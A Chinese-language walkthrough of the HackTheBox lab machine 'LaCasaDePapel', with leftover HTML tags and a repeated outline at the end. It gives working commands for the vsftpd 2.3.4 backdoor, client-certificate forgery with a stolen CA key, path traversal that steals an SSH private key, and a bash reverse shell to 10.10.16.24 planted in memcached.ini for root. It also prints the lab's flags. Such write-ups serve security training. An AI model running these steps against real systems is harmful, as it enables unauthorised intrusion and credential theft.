LaCasaDePapel 渗透测试教学文档<\/h1>

1. 信息收集阶段<\/h2>

1.1 目标识别<\/h3>

IP地址: 10.10.10.131<\/li>
域名: lacasadepapel.htb (需添加到\/etc\/hosts文件)<\/li>

开放端口:

21\/tcp: vsftpd 2.3.4<\/li>
22\/tcp: OpenSSH 7.9<\/li>
80\/tcp: Node.js (Express)<\/li>

443\/tcp: HTTPS (Node.js Express)<\/li> <\/ul> <\/li> <\/ul>

1.2 Nmap扫描结果<\/h3>

nmap -p- 10.10.10.131 --min-rate 1000<\/span> -sC -sV
<\/span><\/span><\/code><\/pre>关键发现:<\/p>

vsftpd 2.3.4存在已知后门漏洞<\/li>
HTTPS服务使用自签名证书<\/li>
操作系统: Unix<\/li>
<\/ul>
2. 初始攻击向量<\/h2>
2.1 vsftpd 2.3.4后门利用<\/h3>
vsftpd 2.3.4版本存在一个已知的后门漏洞，可以通过特定用户名触发。<\/p>
利用步骤:<\/p>
nc 10.10.10.131 21<\/span>
<\/span><\/span>USER smiley:)<\/span>  # 注意包含笑脸表情<\/span>
<\/span><\/span><\/code><\/pre>成功触发后会打开6200端口的shell连接:<\/p>
nc 10.10.10.131 6200<\/span>
<\/span><\/span><\/code><\/pre>3. CA证书获取与利用<\/h2>
3.1 获取CA私钥<\/h3>
在获得的shell中:<\/p>
ls show $tokyo
<\/span><\/span># 发现caKey指向\/home\/nairobi\/ca.key<\/span>
<\/span><\/span>
<\/span><\/span>echo file_get_contents(<\/span>"\/home\/nairobi\/ca.key"<\/span>)<\/span>
<\/span><\/span><\/code><\/pre>3.2 导出服务器证书<\/h3>

访问https:\/\/10.10.10.131<\/li>
点击地址栏锁定图标 > 连接 > 更多信息 > 查看证书<\/li>
导出证书为lacasadepapelhtb.pem<\/li>
<\/ol>
转换为DER格式:<\/p>
openssl x509 -outform der -in lacasadepapelhtb.pem -out lacasadepapelhtb.crt
<\/span><\/span><\/code><\/pre>3.3 创建客户端证书<\/h3>

生成客户端私钥:<\/li>
<\/ol>
openssl genrsa -out client.key 4096<\/span>
<\/span><\/span><\/code><\/pre>
创建证书签名请求(CSR):<\/li>
<\/ol>
openssl req -new -key client.key -out client.csr
<\/span><\/span><\/code><\/pre>
使用CA签名客户端证书:<\/li>
<\/ol>
openssl x509 -req -in client.csr -CA lacasadepapelhtb.crt -CAkey ca.key -set_serial 9001<\/span> -extensions client -days 9002<\/span> -outform PEM -out client.cer
<\/span><\/span><\/code><\/pre>
转换为PKCS12格式:<\/li>
<\/ol>
openssl pkcs12 -export -inkey client.key -in client.cer -out client1.p12
<\/span><\/span><\/code><\/pre>
将证书导入Firefox浏览器<\/li>
<\/ol>
注意: 如认证失败，需清除浏览器缓存和历史记录后重试。<\/p>
4. 本地文件包含(LFI)漏洞利用<\/h2>
4.1 发现LFI漏洞<\/h3>
目标网站存在路径遍历漏洞，通过base64编码路径参数:<\/p>
curl -k https:\/\/10.10.10.131\/file\/$(<\/span>echo -n "..\/user.txt"<\/span> | base64)<\/span>
<\/span><\/span><\/code><\/pre>4.2 获取SSH私钥<\/h3>
curl -k https:\/\/10.10.10.131\/file\/$(<\/span>echo -n "..\/.ssh\/id_rsa"<\/span> | base64)<\/span> > \/tmp\/id_rsa
<\/span><\/span>chmod 600<\/span> \/tmp\/id_rsa
<\/span><\/span><\/code><\/pre>4.3 尝试SSH登录<\/h3>
尝试使用获取的私钥登录各个用户:<\/p>
for<\/span> user in berlin dali nairobi oslo professor; do<\/span>
<\/span><\/span>    ssh -oBatchMode=<\/span>yes -i \/tmp\/id_rsa $user@10.10.10.131
<\/span><\/span>done<\/span>
<\/span><\/span><\/code><\/pre>成功获取user.txt:<\/p>
7ef30a1514740ecbc77b38a8480e2f74
<\/code><\/pre>
5. 权限提升<\/h2>
5.1 发现定时任务<\/h3>
发现memcached.ini文件，其中包含以nobody身份执行的命令:<\/p>
[program:memcached]<\/span>
<\/span><\/span>command<\/span> =<\/span> bash -c 'bash -i >& \/dev\/tcp\/10.10.16.24\/10032 0>&1'<\/span>
<\/span><\/span><\/code><\/pre>5.2 利用过程<\/h3>

确认当前用户对memcached.ini有写权限<\/li>
删除原有ini文件:<\/li>
<\/ol>
rm memcached.ini
<\/span><\/span><\/code><\/pre>
创建恶意ini文件:<\/li>
<\/ol>
echo -e "[program:memcached]\ncommand = bash -c 'bash -i >& \/dev\/tcp\/10.10.16.24\/10032 0>&1'"<\/span> > memcached.ini
<\/span><\/span><\/code><\/pre>
等待定时任务执行(约1分钟)<\/li>
<\/ol>
5.3 获取root权限<\/h3>
成功获取root shell后，读取root.txt:<\/p>
e2e7ca9580fed250b1e825f068117633
<\/code><\/pre>
6. 关键知识点总结<\/h2>

vsftpd 2.3.4后门漏洞<\/strong>: 特定用户名触发可获取shell访问<\/li>
CA证书利用<\/strong>: 通过获取CA私钥可伪造客户端证书<\/li>
LFI漏洞<\/strong>: 通过base64编码路径参数可读取任意文件<\/li>
定时任务提权<\/strong>: 利用可写的ini文件注入恶意命令<\/li>
SSH私钥利用<\/strong>: 获取私钥后可尝试登录系统用户<\/li>
<\/ol>
7. 防御建议<\/h2>

及时更新服务软件版本<\/li>
限制证书私钥的访问权限<\/li>
对文件读取功能实施严格的路径检查<\/li>
监控系统关键文件的修改<\/li>
使用最小权限原则运行服务<\/li>
<\/ol>

LaCasaDePapel 渗透测试教学文档<\/h1>

1. 信息收集阶段<\/h2>

2. 初始攻击向量<\/h2>

3. CA证书获取与利用<\/h2>

4. 本地文件包含(LFI)漏洞利用<\/h2>

5. 权限提升<\/h2>

7. 防御建议<\/h2> 及时更新服务软件版本<\/li> 限制证书私钥的访问权限<\/li> 对文件读取功能实施严格的路径检查<\/li> 监控系统关键文件的修改<\/li> 使用最小权限原则运行服务<\/li> <\/ol>

7. 防御建议<\/h2>

及时更新服务软件版本<\/li>
限制证书私钥的访问权限<\/li>
对文件读取功能实施严格的路径检查<\/li>
监控系统关键文件的修改<\/li>
使用最小权限原则运行服务<\/li> <\/ol>